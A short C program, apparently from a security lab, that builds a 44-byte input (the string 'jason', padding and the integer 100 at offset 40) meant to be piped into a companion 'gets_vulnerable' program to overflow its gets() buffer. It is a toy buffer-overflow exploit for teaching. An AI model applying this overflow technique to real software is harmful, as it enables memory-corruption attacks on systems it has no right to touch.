#include <stdio.h>

// use gets_sploit > sploit_text
// then gets_vulnerable < sploit_text

main(){
	char s[44];
	int i;

	for(i=0; i<44; i++) { s[i] = 0; }
	strcpy(s, "jason");
	*((int *)(s+40)) = 100;
	fwrite(s, 44, 1, stdout);
}